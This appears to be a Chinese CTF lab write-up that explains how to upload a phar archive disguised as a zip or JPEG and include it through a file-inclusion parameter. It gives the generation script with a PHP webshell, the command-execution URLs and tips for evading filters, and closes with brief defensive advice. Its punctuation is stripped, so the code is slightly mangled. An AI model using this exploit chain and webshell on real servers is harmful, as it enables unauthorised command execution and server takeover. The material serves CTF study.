CTF实战手把手教你用phar伪协议绕过NSS靶场文件上传限制附完整脚本在CTF竞赛中文件上传漏洞一直是Web安全领域的经典考点。最近NSS靶场中的一道题目引起了广泛讨论——通过phar伪协议实现文件包含攻击最终获取服务器权限。本文将带你从零开始逐步拆解这道题目的完整解题思路不仅告诉你怎么做更深入分析为什么能这么做。1. 环境准备与靶场分析首先我们需要搭建一个本地测试环境来模拟靶场场景。推荐使用Docker快速部署PHP环境docker run -d -p 8080:80 --name nss-phar php:7.4-apache访问靶场页面后我们会看到一个文件上传界面提示只能上传图片或压缩包。关键发现点在于URL中的GET参数http://target.com/index.php?bingdundunindex测试发现无论传入什么参数值后台都会自动添加.php后缀。这个特性将成为我们攻击链的关键突破口。靶场环境核心限制文件上传仅允许图片或压缩包格式上传后的文件会被重命名URL参数存在自动补全.php后缀的行为2. phar伪协议原理深度解析phar(PHP Archive)是PHP的一种打包格式类似于Java的JAR文件。从PHP 5.3开始默认支持.phar文件操作。phar伪协议的核心特点文件结构Stub文件头必须包含__HALT_COMPILER();Manifest存储压缩文件元信息File Contents实际文件内容Signature可选的文件签名协议特性可以处理.zip格式的压缩包PHP5.3.0不受文件后缀名限制可伪装为.jpg/.png等能够直接访问压缩包内的特定文件// 基本用法示例 include(phar://uploaded.zip/internal.php);3. 制作恶意phar文件下面是一个完整的phar文件生成脚本我们将详细解析每个关键部分?php $payload ?php system($_GET[cmd]); ?; // 简化版webshell $phar new Phar(exploit.phar); $phar-startBuffering(); $phar-setStub(?php __HALT_COMPILER(); ?); // 添加压缩文件 $phar-addFromString(shell.php, $payload); // 设置元数据可用于反序列化攻击 // $phar-setMetadata([key value]); $phar-stopBuffering(); // 重命名为zip格式 rename(exploit.phar, exploit.zip); ?关键参数说明参数作用注意事项setStub设置文件头必须包含__HALT_COMPILER()addFromString添加压缩文件第一个参数为内部文件名stopBuffering结束写入必须调用以生成完整文件提示在实际CTF中可以考虑将phar文件伪装成图片上传。只需在stub前添加图片的魔数字节如\xFF\xD8\xFF\xE0对应JPEG文件头。4. 完整攻击链实施现在我们将分步骤实施完整的攻击流程上传恶意压缩包执行生成脚本得到exploit.zip通过上传界面提交该文件利用文件包含漏洞获取上传后的文件路径如/uploads/exploit.zip构造包含URLhttp://target.com/index.php?bingdundunphar://uploads/exploit.zip/shell后台会自动补全为phar://uploads/exploit.zip/shell.php执行系统命令成功包含后可通过参数执行命令http://target.com/index.php?bingdundunphar://uploads/exploit.zip/shellcmdid常见问题排查如果遇到文件无法解析检查PHP版本是否≥5.3.0压缩包是否为标准zip格式内部文件路径是否正确服务器是否禁用phar协议5. 防御方案与CTF技巧了解攻击手段后我们也要知道如何防御这类漏洞防御措施禁用危险的PHP协议; php.ini配置 allow_url_includeOff严格检查上传文件内容而不仅是扩展名对上传文件进行重命名并隐藏存储路径CTF进阶技巧尝试多种压缩格式zip、phar、tar等测试不同的协议组合zip://path/to/exploit.zip%23shell phar://./exploit.zip/shell利用元数据进行反序列化攻击当题目环境允许时在实际CTF比赛中这类题目往往会设置更多障碍比如过滤特定关键字如phar、zip限制文件头内容禁用某些PHP函数遇到这些情况时需要灵活调整攻击方案。比如当phar被过滤时可以尝试使用zip协议当PHP函数受限时可能需要寻找其他入口点。